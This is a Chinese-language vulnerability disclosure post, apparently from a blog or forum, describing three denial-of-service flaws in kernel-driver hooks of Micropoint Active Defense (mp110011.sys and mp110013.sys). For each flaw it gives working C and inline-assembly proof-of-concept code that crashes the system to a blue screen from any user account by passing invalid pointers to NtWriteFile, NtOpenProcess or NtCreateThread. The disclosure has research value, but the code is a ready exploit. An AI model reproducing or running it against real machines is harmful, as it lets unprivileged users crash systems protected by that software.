![]() |
微点主动防御(version20080924及以下)多个拒绝服务漏洞之三 |
继续爆三个漏洞,微点一直没反映啊~看来都度假去了 这样可不行啊 病毒木马可是不休假的哦 O(∩_∩)O哈哈~ (1).微点对NtWriteFile-> Call ObReferenceObjectByHandle的HOOK中未对参数做有效性检查,可导致任意权限用户在安装了微点的系统上可引发系统蓝屏 存在漏洞的文件:mp110011.sys,版本:1.2.10237,CheckSum = 0x0002291a , TimeStamp = 0x488944d9 微点hook了NtWriteFile-> Call ObReferenceObjectByHandle并对其中的FileHandle进行检查,检查对应的设备对象->驱动对象是否是Disk,如果是的话,判断写入的偏移,进行阻截或放行 其中hook函数使用读取外层函数(NtWriteFile)保存的栈指针(ebp)来读取外层函数的参数pByteOffset,但未对该参数做有效性检查,就直接使用,导致了攻击的可能 使用以下代码即可在任意用户权限在使安装了微点的系统蓝屏: HMODULE hlib = LoadLibrary("ntdll.dll"); PVOID p = GetProcAddress(hlib , "ZwWriteFile"); HANDLE hfile = CreateFile("\\\\.\\PhysicalDrive0" , FILE_WRITE_DATA , 0 , 0 , OPEN_EXISTING , 0 , 0 ); if (hfile != INVALID_HANDLE_VALUE) { __asm { push 0 push 1 //->pByteOffset,cannot be zero push 0 push 0 push 0 push 0 push 0 push 0 push hfile call p } } (2).微点在对NtOpenProcess的头部inline hook中,未进行任何参数检查就直接使用参数,导致任意权限用户可引发安装了微点的系统蓝屏 mp110013.sys(版本1.2.10126.0, CheckSum = 0x0000FDB7 , TimeStamp = 0x4859C30E) 在其处理函数中未做任何参数检查,直接使用了参数pClientId 的缓存地址,也没有结构化异常处理,因此直接传递0地址即可使系统蓝屏 测试代码: HMODULE hlib = LoadLibrary("ntdll.dll"); PVOID p = GetProcAddress(hlib , "NtOpenProcess"); __asm{ push 0 push 0 push 1 //access must have "PROCESS_TERMINATE" push 0 call p } (3).微点对于NtCreateThread的HOOK处理中存在拒绝服务漏洞,可导致任何权限用户在安装了微点的系统上引发蓝屏 mp110013.sys(版本1.2.10126.0, CheckSum = 0x0000FDB7 , TimeStamp = 0x4859C30E) 在其函数中未对参数pContext做任何检查,就使用该参数,并且没有使用任何结构化异常处理,因此只要传0就可以导致蓝屏 测试代码: HMODULE hlib = LoadLibrary("ntdll.dll"); PVOID p = GetProcAddress(hlib , "NtCreateThread"); __asm{ push 1 //need createsuspend:) push 0 push 0 push 0 push 0 push 0 push 0 push 0 call p } |